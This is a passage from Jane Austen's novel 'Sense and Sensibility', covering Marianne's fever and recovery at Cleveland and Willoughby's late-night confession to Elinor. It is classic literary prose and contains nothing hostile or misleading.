surprise therefore, did she find herself prevented +by a settled rain from going out again after dinner. +She had depended on a twilight walk to the Grecian temple, +and perhaps all over the grounds, and an evening merely +cold or damp would not have deterred her from it; +but a heavy and settled rain even SHE could not fancy dry +or pleasant weather for walking. + +Their party was small, and the hours passed quietly away. +Mrs. Palmer had her child, and Mrs. Jennings her carpet-work; +they talked of the friends they had left behind, +arranged Lady Middleton's engagements, and wondered +whether Mr. Palmer and Colonel Brandon would get farther +than Reading that night. Elinor, however little concerned +in it, joined in their discourse; and Marianne, who had +the knack of finding her way in every house to the library, +however it might be avoided by the family in general, +soon procured herself a book. + +Nothing was wanting on Mrs. Palmer's side that constant +and friendly good humour could do, to make them feel +themselves welcome. The openness and heartiness of her +manner more than atoned for that want of recollection +and elegance which made her often deficient in the forms +of politeness; her kindness, recommended by so pretty +a face, was engaging; her folly, though evident +was not disgusting, because it was not conceited; +and Elinor could have forgiven every thing but her laugh. + +The two gentlemen arrived the next day to a very +late dinner, affording a pleasant enlargement of the party, +and a very welcome variety to their conversation, which a +long morning of the same continued rain had reduced very low. + +Elinor had seen so little of Mr. Palmer, and in that +little had seen so much variety in his address to her +sister and herself, that she knew not what to expect +to find him in his own family. She found him, however, +perfectly the gentleman in his behaviour to all his visitors, +and only occasionally rude to his wife and her mother; +she found him very capable of being a pleasant companion, +and only prevented from being so always, by too great +an aptitude to fancy himself as much superior to people +in general, as he must feel himself to be to Mrs. Jennings +and Charlotte. For the rest of his character and habits, +they were marked, as far as Elinor could perceive, +with no traits at all unusual in his sex and time of life. +He was nice in his eating, uncertain in his hours; +fond of his child, though affecting to slight it; +and idled away the mornings at billiards, which ought +to have been devoted to business. She liked him, however, +upon the whole, much better than she had expected, and in +her heart was not sorry that she could like him no more;-- +not sorry to be driven by the observation of his Epicurism, +his selfishness, and his conceit, to rest with complacency +on the remembrance of Edward's generous temper, simple taste, +and diffident feelings. + +Of Edward, or at least of some of his concerns, +she now received intelligence from Colonel Brandon, +who had been into Dorsetshire lately; and who, +treating her at once as the disinterested friend +of Mr. Ferrars, and the kind of confidant of himself, +talked to her a great deal of the parsonage at Delaford, +described its deficiencies, and told her what he meant +to do himself towards removing them.--His behaviour +to her in this, as well as in every other particular, +his open pleasure in meeting her after an absence +of only ten days, his readiness to converse with her, +and his deference for her opinion, might very well +justify Mrs. Jennings's persuasion of his attachment, +and would have been enough, perhaps, had not Elinor still, +as from the first, believed Marianne his real favourite, +to make her suspect it herself. But as it was, +such a notion had scarcely ever entered her head, +except by Mrs. Jennings's suggestion; and she could +not help believing herself the nicest observer of the +two;--she watched his eyes, while Mrs. Jennings thought +only of his behaviour;--and while his looks of anxious +solicitude on Marianne's feeling, in her head and throat, +the beginning of a heavy cold, because unexpressed by words, +entirely escaped the latter lady's observation;--SHE could +discover in them the quick feelings, and needless alarm +of a lover. + +Two delighful twilight walks on the third and fourth +evenings of her being there, not merely on the dry gravel +of the shrubbery, but all over the grounds, and especially +in the most distant parts of them, where there was something +more of wildness than in the rest, where the trees were +the oldest, and the grass was the longest and wettest, +had--assisted by the still greater imprudence of sitting +in her wet shoes and stockings--given Marianne a cold +so violent as, though for a day or two trifled with +or denied, would force itself by increasing ailments on +the concern of every body, and the notice of herself. +Prescriptions poured in from all quarters, and as usual, +were all declined. Though heavy and feverish, with a pain +in her limbs, and a cough, and a sore throat, a good night's +rest was to cure her entirely; and it was with difficulty +that Elinor prevailed on her, when she went to bed, +to try one or two of the simplest of the remedies. + + + +CHAPTER 43 + + +Marianne got up the next morning at her usual time; +to every inquiry replied that she was better, and tried to +prove herself so, by engaging in her accustomary employments. +But a day spent in sitting shivering over the fire +with a book in her hand, which she was unable to read, +or in lying, weary and languid, on a sofa, did not speak +much in favour of her amendment; and when, at last, +she went early to bed, more and more indisposed, Colonel +Brandon was only astonished at her sister's composure, +who, though attending and nursing her the whole day, +against Marianne inclination, and forcing proper medicines +on her at night, trusted, like Marianne, to the certainty +and efficacy of sleep, and felt no real alarm. + +A very restless and feverish night, however, +disappointed the expectation of both; and when Marianne, +after persisting in rising, confessed herself unable +to sit up, and returned voluntarily to her bed, +Elinor was very ready to adopt Mrs. Jennings's advice, +of sending for the Palmers' apothecary. + +He came, examined his patient, and though encouraging +Miss Dashwood to expect that a very few days would restore +her sister to health, yet, by pronouncing her disorder +to have a putrid tendency, and allowing the word "infection" +to pass his lips, gave instant alarm to Mrs. Palmer, +on her baby's account. Mrs. Jennings, who had been inclined +from the first to think Marianne's complaint more serious +than Elinor, now looked very grave on Mr. Harris's report, +and confirming Charlotte's fears and caution, urged the +necessity of her immediate removal with her infant; +and Mr. Palmer, though treating their apprehensions as idle, +found the anxiety and importunity of his wife too great +to be withstood. Her departure, therefore, was fixed on; +and within an hour after Mr. Harris's arrival, she set off, +with her little boy and his nurse, for the house of a +near relation of Mr. Palmer's, who lived a few miles +on the other side of Bath; whither her husband promised, +at her earnest entreaty, to join her in a day or two; +and whither she was almost equally urgent with her +mother to accompany her. Mrs. Jennings, however, with a +kindness of heart which made Elinor really love her, +declared her resolution of not stirring from Cleveland +as long as Marianne remained ill, and of endeavouring, +by her own attentive care, to supply to her the place +of the mother she had taken her from; and Elinor found her +on every occasion a most willing and active helpmate, +desirous to share in all her fatigues, and often by her +better experience in nursing, of material use. + +Poor Marianne, languid and low from the nature +of her malady, and feeling herself universally ill, +could no longer hope that tomorrow would find her recovered; +and the idea of what tomorrow would have produced, +but for this unlucky illness, made every ailment severe; +for on that day they were to have begun their journey home; +and, attended the whole way by a servant of Mrs. Jennings, +were to have taken their mother by surprise on the +following forenoon. The little she said was all in +lamentation of this inevitable delay; though Elinor tried +to raise her spirits, and make her believe, as she THEN +really believed herself, that it would be a very short one. + +The next day produced little or no alteration in the +state of the patient; she certainly was not better, and, +except that there was no amendment, did not appear worse. +Their party was now farther reduced; for Mr. Palmer, +though very unwilling to go as well from real humanity +and good-nature, as from a dislike of appearing to be +frightened away by his wife, was persuaded at last +by Colonel Brandon to perform his promise of following her; +and while he was preparing to go, Colonel Brandon himself, +with a much greater exertion, began to talk of going +likewise.--Here, however, the kindness of Mrs. Jennings +interposed most acceptably; for to send the Colonel away +while his love was in so much uneasiness on her sister's +account, would be to deprive them both, she thought, +of every comfort; and therefore telling him at once +that his stay at Cleveland was necessary to herself, +that she should want him to play at piquet of an evening, +while Miss Dashwood was above with her sister, &c. she +urged him so strongly to remain, that he, who was gratifying +the first wish of his own heart by a compliance, could not +long even affect to demur; especially as Mrs. Jennings's +entreaty was warmly seconded by Mr. Palmer, who seemed +to feel a relief to himself, in leaving behind him a person +so well able to assist or advise Miss Dashwood in any emergence. + +Marianne was, of course, kept in ignorance of all +these arrangements. She knew not that she had been +the means of sending the owners of Cleveland away, +in about seven days from the time of their arrival. +It gave her no surprise that she saw nothing +of Mrs. Palmer; and as it gave her likewise no concern, +she never mentioned her name. + +Two days passed away from the time of Mr. Palmer's departure, +and her situation continued, with little variation, +the same. Mr. Harris, who attended her every day, +still talked boldly of a speedy recovery, and Miss Dashwood +was equally sanguine; but the expectation of the others +was by no means so cheerful. Mrs. Jennings had determined +very early in the seizure that Marianne would never +get over it, and Colonel Brandon, who was chiefly +of use in listening to Mrs. Jennings's forebodings, +was not in a state of mind to resist their influence. +He tried to reason himself out of fears, which the different +judgment of the apothecary seemed to render absurd; +but the many hours of each day in which he was left +entirely alone, were but too favourable for the admission +of every melancholy idea, and he could not expel from +his mind the persuasion that he should see Marianne no more. + +On the morning of the third day however, the gloomy +anticipations of both were almost done away; for when +Mr. Harris arrived, he declared his patient materially better. +Her pulse was much stronger, and every symptom more favourable +than on the preceding visit. Elinor, confirmed in every +pleasant hope, was all cheerfulness; rejoicing that +in her letters to her mother, she had pursued her own +judgment rather than her friend's, in making very light +of the indisposition which delayed them at Cleveland; +and almost fixing on the time when Marianne would be +able to travel. + +But the day did not close so auspiciously as it began.-- +Towards the evening Marianne became ill again, growing +more heavy, restless, and uncomfortable than before. +Her sister, however, still sanguine, was willing to +attribute the change to nothing more than the fatigue +of having sat up to have her bed made; and carefully +administering the cordials prescribed, saw her, with +satisfaction, sink at last into a slumber, from which +she expected the most beneficial effects. Her sleep, +though not so quiet as Elinor wished to see it, +lasted a considerable time; and anxious to observe +the result of it herself, she resolved to sit with her +during the whole of it. Mrs. Jennings, knowing nothing +of any change in the patient, went unusually early to bed; +her maid, who was one of the principal nurses, was recreating +herself in the housekeeper's room, and Elinor remained +alone with Marianne. + +The repose of the latter became more and more disturbed; +and her sister, who watched, with unremitting attention +her continual change of posture, and heard the frequent +but inarticulate sounds of complaint which passed her lips, +was almost wishing to rouse her from so painful a slumber, +when Marianne, suddenly awakened by some accidental noise +in the house, started hastily up, and, with feverish wildness, +cried out,-- + +"Is mama coming?--" + +"Not yet," cried the other, concealing her terror, +and assisting Marianne to lie down again, "but she will +be here, I hope, before it is long. It is a great way, +you know, from hence to Barton." + +"But she must not go round by London," cried Marianne, +in the same hurried manner. "I shall never see her, +if she goes by London." + +Elinor perceived with alarm that she was not +quite herself, and, while attempting to soothe her, +eagerly felt her pulse. It was lower and quicker than ever! +and Marianne, still talking wildly of mama, her alarm +increased so rapidly, as to determine her on sending +instantly for Mr. Harris, and despatching a messenger +to Barton for her mother. To consult with Colonel Brandon +on the best means of effecting the latter, was a thought +which immediately followed the resolution of its performance; +and as soon she had rung up the maid to take her place +by her sister, she hastened down to the drawing-room, +where she knew he was generally to be found at a much +later hour than the present. + +It was no time for hesitation. Her fears and her +difficulties were immediately before him. Her fears, +he had no courage, no confidence to attempt the removal of:-- +he listened to them in silent despondence;--but her +difficulties were instantly obviated, for with a readiness +that seemed to speak the occasion, and the service +pre-arranged in his mind, he offered himself as the +messenger who should fetch Mrs. Dashwood. Elinor made no +resistance that was not easily overcome. She thanked him +with brief, though fervent gratitude, and while he went +to hurry off his servant with a message to Mr. Harris, and +an order for post-horses directly, she wrote a few lines +to her mother. + +The comfort of such a friend at that moment as Colonel +Brandon--or such a companion for her mother,--how gratefully +was it felt!--a companion whose judgment would guide, +whose attendance must relieve, and whose friendship might +soothe her!--as far as the shock of such a summons COULD +be lessened to her, his presence, his manners, his assistance, +would lessen it. + +HE, meanwhile, whatever he might feel, acted with all +the firmness of a collected mind, made every necessary +arrangement with the utmost despatch, and calculated +with exactness the time in which she might look for +his return. Not a moment was lost in delay of any kind. +The horses arrived, even before they were expected, +and Colonel Brandon only pressing her hand with a look +of solemnity, and a few words spoken too low to reach her ear, +hurried into the carriage. It was then about twelve +o'clock, and she returned to her sister's apartment to wait +for the arrival of the apothecary, and to watch by her +the rest of the night. It was a night of almost equal +suffering to both. Hour after hour passed away in sleepless +pain and delirium on Marianne's side, and in the most +cruel anxiety on Elinor's, before Mr. Harris appeared. +Her apprehensions once raised, paid by their excess for all +her former security; and the servant who sat up with her, +for she would not allow Mrs. Jennings to be called, +only tortured her more, by hints of what her mistress +had always thought. + +Marianne's ideas were still, at intervals, +fixed incoherently on her mother, and whenever she +mentioned her name, it gave a pang to the heart of +poor Elinor, who, reproaching herself for having trifled +with so many days of illness, and wretched for some +immediate relief, fancied that all relief might soon +be in vain, that every thing had been delayed too long, +and pictured to herself her suffering mother arriving +too late to see this darling child, or to see her rational. + +She was on the point of sending again for Mr. Harris, +or if HE could not come, for some other advice, +when the former--but not till after five o'clock--arrived. +His opinion, however, made some little amends for his delay, +for though acknowledging a very unexpected and unpleasant +alteration in his patient, he would not allow the danger +to be material, and talked of the relief which a fresh +mode of treatment must procure, with a confidence which, +in a lesser degree, was communicated to Elinor. He promised +to call again in the course of three or four hours, +and left both the patient and her anxious attendant more +composed than he had found them. + +With strong concern, and with many reproaches for not +being called to their aid, did Mrs. Jennings hear in the +morning of what had passed. Her former apprehensions, +now with greater reason restored, left her no doubt of +the event; and though trying to speak comfort to Elinor, +her conviction of her sister's danger would not allow her +to offer the comfort of hope. Her heart was really grieved. +The rapid decay, the early death of a girl so young, +so lovely as Marianne, must have struck a less interested +person with concern. On Mrs. Jennings's compassion +she had other claims. She had been for three months +her companion, was still under her care, and she was +known to have been greatly injured, and long unhappy. +The distress of her sister too, particularly a favourite, +was before her;--and as for their mother, when Mrs. Jennings +considered that Marianne might probably be to HER what +Charlotte was to herself, her sympathy in HER sufferings +was very sincere. + +Mr. Harris was punctual in his second visit;-- +but he came to be disappointed in his hopes of what the +last would produce. His medicines had failed;--the fever +was unabated; and Marianne only more quiet--not more +herself--remained in a heavy stupor. Elinor, catching all, +and more than all, his fears in a moment, proposed to call +in further advice. But he judged it unnecessary: he had +still something more to try, some more fresh application, +of whose success he was as confident as the last, and his +visit concluded with encouraging assurances which reached +the ear, but could not enter the heart of Miss Dashwood. +She was calm, except when she thought of her mother; +but she was almost hopeless; and in this state she continued +till noon, scarcely stirring from her sister's bed, +her thoughts wandering from one image of grief, +one suffering friend to another, and her spirits oppressed +to the utmost by the conversation of Mrs. Jennings, +who scrupled not to attribute the severity and danger +of this attack to the many weeks of previous indisposition +which Marianne's disappointment had brought on. +Elinor felt all the reasonableness of the idea, and it +gave fresh misery to her reflections. + +About noon, however, she began--but with a caution--a +dread of disappointment which for some time kept her silent, +even to her friend--to fancy, to hope she could perceive +a slight amendment in her sister's pulse;--she waited, +watched, and examined it again and again;--and at last, +with an agitation more difficult to bury under exterior calmness, +than all her foregoing distress, ventured to communicate +her hopes. Mrs. Jennings, though forced, on examination, +to acknowledge a temporary revival, tried to keep her +young friend from indulging a thought of its continuance;-- +and Elinor, conning over every injunction of distrust, +told herself likewise not to hope. But it was too late. +Hope had already entered; and feeling all its anxious flutter, +she bent over her sister to watch--she hardly knew for what. +Half an hour passed away, and the favourable symptom +yet blessed her. Others even arose to confirm it. +Her breath, her skin, her lips, all flattered Elinor +with signs of amendment; and Marianne fixed her eyes on +her with a rational, though languid, gaze. Anxiety and +hope now oppressed her in equal degrees, and left her no +moment of tranquillity till the arrival of Mr. Harris at +four o'clock;--when his assurances, his felicitations on +a recovery in her sister even surpassing his expectation, +gave her confidence, comfort, and tears of joy. + +Marianne was in every respect materially better, +and he declared her entirely out of danger. Mrs. Jennings, +perhaps satisfied with the partial justification of her +forebodings which had been found in their late alarm, +allowed herself to trust in his judgment, and admitted, +with unfeigned joy, and soon with unequivocal cheerfulness, +the probability of an entire recovery. + +Elinor could not be cheerful. Her joy was of a +different kind, and led to any thing rather than to gaiety. +Marianne restored to life, health, friends, and to her +doting mother, was an idea to fill her heart with sensations +of exquisite comfort, and expand it in fervent gratitude;-- +but it lead to no outward demonstrations of joy, no words, +no smiles. All within Elinor's breast was satisfaction, +silent and strong. + +She continued by the side of her sister, with little +intermission the whole afternoon, calming every fear, +satisfying every inquiry of her enfeebled spirits, +supplying every succour, and watching almost every look and +every breath. The possibility of a relapse would of course, +in some moments, occur to remind her of what anxiety was-- +but when she saw, on her frequent and minute examination, +that every symptom of recovery continued, and saw Marianne +at six o'clock sink into a quiet, steady, and to all +appearance comfortable, sleep, she silenced every doubt. + +The time was now drawing on, when Colonel Brandon +might be expected back. At ten o'clock, she trusted, +or at least not much later her mother would be relieved +from the dreadful suspense in which she must now be +travelling towards them. The Colonel, too!--perhaps scarcely +less an object of pity!--Oh!--how slow was the progress +of time which yet kept them in ignorance! + +At seven o'clock, leaving Marianne still sweetly asleep, +she joined Mrs. Jennings in the drawing-room to tea. +Of breakfast she had been kept by her fears, and of +dinner by their sudden reverse, from eating much;-- +and the present refreshment, therefore, with such feelings +of content as she brought to it, was particularly welcome. +Mrs. Jennings would have persuaded her, at its conclusion, +to take some rest before her mother's arrival, and allow HER to +take her place by Marianne; but Elinor had no sense of fatigue, +no capability of sleep at that moment about her, and she was +not to be kept away from her sister an unnecessary instant. +Mrs. Jennings therefore attending her up stairs into the +sick chamber, to satisfy herself that all continued right, +left her there again to her charge and her thoughts, +and retired to her own room to write letters and sleep. + +The night was cold and stormy. The wind roared +round the house, and the rain beat against the windows; +but Elinor, all happiness within, regarded it not. +Marianne slept through every blast; and the travellers-- +they had a rich reward in store, for every present inconvenience. + +The clock struck eight. Had it been ten, +Elinor would have been convinced that at that moment +she heard a carriage driving up to the house; +and so strong was the persuasion that she DID, in spite +of the ALMOST impossibility of their being already come, +that she moved into the adjoining dressing-closet and +opened a window shutter, to be satisfied of the truth. +She instantly saw that her ears had not deceived her. +The flaring lamps of a carriage were immediately in view. +By their uncertain light she thought she could discern it +to be drawn by four horses; and this, while it told the +excess of her poor mother's alarm, gave some explanation +to such unexpected rapidity. + +Never in her life had Elinor found it so difficult +to be calm, as at that moment. The knowledge of what her +mother must be feeling as the carriage stopt at the door-- +of her doubt--her dread--perhaps her despair!--and +of what SHE had to tell!--with such knowledge it was +impossible to be calm. All that remained to be done +was to be speedy; and, therefore staying only till +she could leave Mrs. Jennings's maid with her sister, +she hurried down stairs. + +The bustle in the vestibule, as she passed along +an inner lobby, assured her that they were already +in the house. She rushed to the drawing-room,--she +entered it,--and saw only Willoughby. + + + +CHAPTER 44 + + +Elinor, starting back with a look of horror at +the sight of him, obeyed the first impulse of her heart +in turning instantly to quit the room, and her hand +was already on the lock, when its action was suspended +by his hastily advancing, and saying, in a voice rather +of command than supplication, + +"Miss Dashwood, for half an hour--for ten minutes-- +I entreat you to stay." + +"No, sir," she replied with firmness, "I shall NOT stay. +Your business cannot be with ME. The servants, I suppose, +forgot to tell you that Mr. Palmer was not in the house." + +"Had they told me," he cried with vehemence, +"that Mr. Palmer and all his relations were at the devil, +it would not have turned me from the door. My business +is with you, and only you." + +"With me!"--in the utmost amazement--"well, sir,-- +be quick--and if you can--less violent." + +"Sit down, and I will be both." + +She hesitated; she knew not what to do. The possibility +of Colonel Brandon's arriving and finding her there, +came across her. But she had promised to hear him, +and her curiosity no less than her honor was engaged. +After a moment's recollection, therefore, concluding that +prudence required dispatch, and that her acquiescence would +best promote it, she walked silently towards the table, +and sat down. He took the opposite chair, and for half +a minute not a word was said by either. + +"Pray be quick, sir,"--said Elinor, impatiently;-- +"I have no time to spare." + +He was sitting in an attitude of deep meditation, +and seemed not to hear her. + +"Your sister," said he, with abruptness, a moment +afterwards--"is out of danger. I heard it from the servant. +God be praised!--But is it true? is it really true?" + +Elinor would not speak. He repeated the inquiry with +yet greater eagerness. + +"For God's sake tell me, is she out of danger, or is she not?" + +"We hope she is." + +He rose up, and walked across the room. + +"Had I known as much half an hour ago--But +since I AM here,"--speaking with a forced vivacity as he +returned to his seat--"what does it signify?--For once, +Miss Dashwood--it will be the last time, perhaps--let us +be cheerful together.--I am in a fine mood for gaiety.-- +Tell me honestly"--a deeper glow overspreading his cheeks-- +"do you think me most a knave or a fool?" + +Elinor looked at him with greater astonishment than ever. +She began to think that be must be in liquor;--the +strangeness of such a visit, and of such manners, +seemed no otherwise intelligible; and with this impression +she immediately rose, saying, + +"Mr. Willoughby, I advise you at present to return +to Combe--I am not at leisure to remain with you longer.-- +Whatever your business may be with me, will it be better +recollected and explained to-morrow." + +"I understand you," he replied, with an expressive smile, +and a voice perfectly calm; "yes, I am very drunk.-- +A pint of porter with my cold beef at Marlborough was +enough to over-set me." + +"At Marlborough!"--cried Elinor, more and more at +a loss to understand what he would be at. + +"Yes,--I left London this morning at eight o'clock, +and the only ten minutes I have spent out of my chaise +since that time procured me a nuncheon at Marlborough." + +The steadiness of his manner, and the intelligence +of his eye as he spoke, convincing Elinor, that whatever +other unpardonable folly might bring him to Cleveland, +he was not brought there by intoxication, she said, +after a moment's recollection, + +"Mr. Willoughby, you OUGHT to feel, and I certainly +DO--that after what has passed--your coming here in +this manner, and forcing yourself upon my notice, +requires a very particular excuse.--What is it, +that you mean by it?"-- + +"I mean,"--said he, with serious energy--"if I can, +to make you hate me one degree less than you do NOW. +I mean to offer some kind of explanation, some kind +of apology, for the past; to open my whole heart to you, +and by convincing you, that though I have been always +a blockhead, I have not been always a rascal, to obtain +something like forgiveness from Ma--from your sister." + +"Is this the real reason of your coming?" + +"Upon my soul it is,"--was his answer, with a warmth +which brought all the former Willoughby to her remembrance, +and in spite of herself made her think him sincere. + +"If that is all, you may be satisfied already,-- +for Marianne DOES--she has LONG forgiven you." + +"Has she?"--he cried, in the same eager tone.-- +"Then she has forgiven me before she ought to have done it. +But she shall forgive me again, and on more reasonable +grounds.--NOW will you listen to me?" + +Elinor bowed her assent. + +"I do not know," said he, after a pause of expectation +on her side, and thoughtfulness on his own,--"how YOU +may have accounted for my behaviour to your sister, +or what diabolical motive you may have imputed to me.-- +Perhaps you will hardly think the better of me,--it is +worth the trial however, and you shall hear every thing. +When I first became intimate in your family, I had no +other intention, no other view in the acquaintance +than to pass my time pleasantly while I was obliged to remain +in Devonshire, more pleasantly than I had ever done before. +Your sister's lovely person and interesting manners +could not but please me; and her behaviour to me almost +from the first, was of a kind--It is astonishing, +when I reflect on what it was, and what SHE was, that my +heart should have been so insensible! But at first +I must confess, my vanity only was elevated by it. +Careless of her happiness, thinking only of my own amusement, +giving way to feelings which I had always been too much +in the habit of indulging, I endeavoured, by every means +in my power, to make myself pleasing to her, without any +design of returning her affection." + +Miss Dashwood, at this point, turning her eyes on him +with the most angry contempt, stopped him, by saying, + +"It is hardly worth while, Mr. Willoughby, +for you to relate, or for me to listen any longer. +Such a beginning as this cannot be followed by any thing.-- +Do not let me be pained by hearing any thing more on +the subject." + +"I insist on you hearing the whole of it," he replied, +"My fortune was never large, and I had always been expensive, +always in the habit of associating with people of better +income than myself. Every year since my coming of age, +or even before, I believe, had added to my debts; and though +the death of my old cousin, Mrs. Smith, was to set me free; +yet that event being uncertain, and possibly far distant, +it had been for some time my intention to re-establish my +circumstances by marrying a woman of fortune. To attach +myself to your sister, therefore, was not a thing to be +thought of;--and with a meanness, selfishness, cruelty-- +which no indignant, no contemptuous look, even of yours, +Miss Dashwood, can ever reprobate too much--I was acting +in this manner, trying to engage her regard, without a +thought of returning it.--But one thing may be said +for me: even in that horrid state of selfish vanity, +I did not know the extent of the injury I meditated, +because I did not THEN know what it was to love. +But have I ever known it?--Well may it be doubted; for, had I +really loved, could I have sacrificed my feelings to vanity, +to avarice?--or, what is more, could I have sacrificed hers?-- +But I have done it. To avoid a comparative poverty, +which her affection and her society would have deprived +of all its horrors, I have, by raising myself to affluence, +lost every thing that could make it a blessing." + +"You did then," said Elinor, a little softened, +"believe yourself at one time attached to her?" + +"To have resisted such attractions, to have withstood +such tenderness!--Is there a man on earth who could have +done it?--Yes, I found myself, by insensible degrees, +sincerely fond of her; and the happiest hours of my life +were what I spent with her when I felt my intentions +were strictly honourable, and my feelings blameless. +Even THEN, however, when fully determined on paying +my addresses to her, I allowed myself most improperly +to put off, from day to day, the moment of doing it, +from an unwillingness to enter into an engagement +while my circumstances were so greatly embarrassed. +I will not reason here--nor will I stop for YOU to expatiate +on the absurdity, and the worse than absurdity, of scrupling +to engage my faith where my honour was already bound. +The event has proved, that I was a cunning fool, +providing with great circumspection for a possible +opportunity of making myself contemptible and wretched +for ever. At last, however, my resolution was taken, +and I had determined, as soon as I could engage her alone, +to justify the attentions I had so invariably paid her, +and openly assure her of an affection which I had already +taken such pains to display. But in the interim--in the +interim of the very few hours that were to pass, before I +could have an opportunity of speaking with her in private-- +a circumstance occurred--an unlucky circumstance, to ruin +all my resolution, and with it all my comfort. A discovery +took place,"--here he hesitated and looked down.--"Mrs. Smith +had somehow or other been informed, I imagine by some +distant relation, whose interest it was to deprive me of +her favour, of an affair, a connection--but I need not +explain myself farther," he added, looking at her with an +heightened colour and an enquiring eye--"your particular +intimacy--you have probably heard the whole story long ago." + +"I have," returned Elinor, colouring likewise, +and hardening her heart anew against any compassion for him, +"I have heard it all. And how you will explain away any +part of your guilt in that dreadful business, I confess +is beyond my comprehension." + +"Remember," cried Willoughby, "from whom you received +the account. Could it be an impartial one? I acknowledge +that her situation and her character ought to have been +respected by me. I do not mean to justify myself, but at +the same time cannot leave you to suppose that I have nothing +to urge--that because she was injured she was irreproachable, +and because I was a libertine, SHE must be a saint. +If the violence of her passions, the weakness of her +understanding--I do not mean, however, to defend myself. +Her affection for me deserved better treatment, and I often, +with great self-reproach, recall the tenderness which, +for a very short time, had the power of creating any return. +I wish--I heartily wish it had never been. But I have injured +more than herself; and I have injured one, whose affection +for me--(may I say it?) was scarcely less warm than hers; +and whose mind--Oh! how infinitely superior!"-- + +"Your indifference, however, towards that unfortunate +girl--I must say it, unpleasant to me as the discussion +of such a subject may well be--your indifference is no +apology for your cruel neglect of her. Do not think yourself +excused by any weakness, any natural defect of understanding +on her side, in the wanton cruelty so evident on yours. +You must have known, that while you were enjoying yourself +in Devonshire pursuing fresh schemes, always gay, +always happy, she was reduced to the extremest indigence." + +"But, upon my soul, I did NOT know it," he warmly +replied; "I did not recollect that I had omitted to give +her my direction; and common sense might have told her +how to find it out." + +"Well, sir, and what said Mrs. Smith?" + +"She taxed me with the offence at once, and my confusion +may be guessed. The purity of her life, the formality +of her notions, her ignorance of the world--every thing +was against me. The matter itself I could not deny, +and vain was every endeavour to soften it. She was +previously disposed, I believe, to doubt the morality of my +conduct in general, and was moreover discontented with +the very little attention, the very little portion of my +time that I had bestowed on her, in my present visit. +In short, it ended in a total breach. By one measure I +might have saved myself. In the height of her morality, +good woman! she offered to forgive the past, if I would +marry Eliza. That could not be--and I was formally +dismissed from her favour and her house. The night +following this affair--I was to go the next morning-- +was spent by me in deliberating on what my future conduct +should be. The struggle was great--but it ended too soon. +My affection for Marianne, my thorough conviction of her +attachment to me--it was all insufficient to outweigh +that dread of poverty, or get the better of those false +ideas of the necessity of riches, which I was naturally +inclined to feel, and expensive society had increased. +I had reason to believe myself secure of my present wife, +if I chose to address her, and I persuaded myself to think +that nothing else in common prudence remained for me to do. +A heavy scene however awaited me, before I could leave +Devonshire;--I was engaged to dine with you on that very day; +some apology was therefore necessary for my breaking +this engagement. But whether I should write this apology, +or deliver it in person, was a point of long debate. +To see Marianne, I felt, would be dreadful, and I even doubted +whether I could see her again, and keep to my resolution. +In that point, however, I undervalued my own magnanimity, +as the event declared; for I went, I saw her, and saw +her miserable, and left her miserable--and left her hoping +never to see her again." + +"Why did you call, Mr. Willoughby?" said Elinor, +reproachfully; "a note would have answered every purpose.-- +Why was it necessary to call?" + +"It was necessary to my own pride. I could not bear +to leave the country in a manner that might lead you, +or the rest of the neighbourhood, to suspect any part +of what had really passed between Mrs. Smith and myself-- +and I resolved therefore on calling at the cottage, +in my way to Honiton. The sight of your dear sister, +however, was really dreadful; and, to heighten the matter, +I found her alone. You were all gone I do not know where. +I had left her only the evening before, so fully, +so firmly resolved within my self on doing right! +A few hours were to have engaged her to me for ever; +and I remember how happy, how gay were my spirits, as I +walked from the cottage to Allenham, satisfied with myself, +delighted with every body! But in this, our last interview +of friendship, I approached her with a sense of guilt +that almost took from me the power of dissembling. +Her sorrow, her disappointment, her deep regret, when I told +her that I was obliged to leave Devonshire so immediately--I +never shall forget it--united too with such reliance, +such confidence in me!--Oh, God!--what a hard-hearted +rascal I was!" + +They were both silent for a few moments. +Elinor first spoke. + +"Did you tell her that you should soon return?" + +"I do not know what I told her," he replied, impatiently; +"less than was due to the past, beyond a doubt, and in all +likelihood much more than was justified by the future. +I cannot think of it.--It won't do.--Then came your dear mother +to torture me farther, with all her kindness and confidence. +Thank Heaven! it DID torture me. I was miserable. +Miss Dashwood, you cannot have an idea of the comfort it +gives me to look back on my own misery. I owe such a grudge +to myself for the stupid, rascally folly of my own heart, +that all my past sufferings under it are only triumph and +exultation to me now. Well, I went, left all that I loved, +and went to those to whom, at best, I was only indifferent. +My journey to town--travelling with my own horses, +and therefore so tediously--no creature to speak to--my +own reflections so cheerful--when I looked forward +every thing so inviting!--when I looked back at Barton, +the picture so soothing!--oh, it was a blessed journey!" + +He stopped. + +"Well, sir," said Elinor, who, though pitying him, +grew impatient for his departure, "and this is all?" + +"Ah!--no,--have you forgot what passed in town?-- +That infamous letter--Did she shew it you?" + +"Yes, I saw every note that passed." + +"When the first of hers reached me (as it immediately did, +for I was in town the whole time,) what I felt is-- +in the common phrase, not to be expressed; in a more +simple one--perhaps too simple to raise any emotion-- +my feelings were very, very painful.--Every line, every word +was--in the hackneyed metaphor which their dear writer, +were she here, would forbid--a dagger to my heart. +To know that Marianne was in town was--in the same language-- +a thunderbolt.--Thunderbolts and daggers!--what a reproof +would she have given me!--her taste, her opinions--I believe +they are better known to me than my own,--and I am sure +they are dearer." + +Elinor's heart, which had undergone many changes +in the course of this extraordinary conversation, +was now softened again;--yet she felt it her duty to check +such ideas in her companion as the last. + +"This is not right, Mr. Willoughby.--Remember that +you are married. Relate only what in your conscience +you think necessary for me to hear." + +"Marianne's note, by assuring me that I was still +as dear to her as in former days, that in spite of the many, +many weeks we had been separated, she was as constant +in her own feelings, and as full of faith in the constancy +of mine as ever, awakened all my remorse. I say awakened, +because time and London, business and dissipation, +had in some measure quieted it, and I had been growing +a fine hardened villain, fancying myself indifferent to her, +and chusing to fancy that she too must have become +indifferent to me; talking to myself of our past attachment +as a mere idle, trifling business, shrugging up my shoulders +in proof of its being so, and silencing every reproach, +overcoming every scruple, by secretly saying now and then, +'I shall be heartily glad to hear she is well married.'-- +But this note made me know myself better. I felt that +she was infinitely dearer to me than any other woman +in the world, and that I was using her infamously. +But every thing was then just settled between Miss Grey +and me. To retreat was impossible. All that I had to do, +was to avoid you both. I sent no answer to Marianne, +intending by that to preserve myself from her farther notice; +and for some time I was even determined not to call in +Berkeley Street;--but at last, judging it wiser to affect +the air of a cool, common acquaintance than anything else, +I watched you all safely out of the house one morning, +and left my name." + +"Watched us out of the house!" + +"Even so. You would be surprised to hear how often +I watched you, how often I was on the point of falling +in with you. I have entered many a shop to avoid your sight, +as the carriage drove by. Lodging as I did in Bond Street, +there was hardly a day in which I did not catch a glimpse +of one or other of you; and nothing but the most constant +watchfulness on my 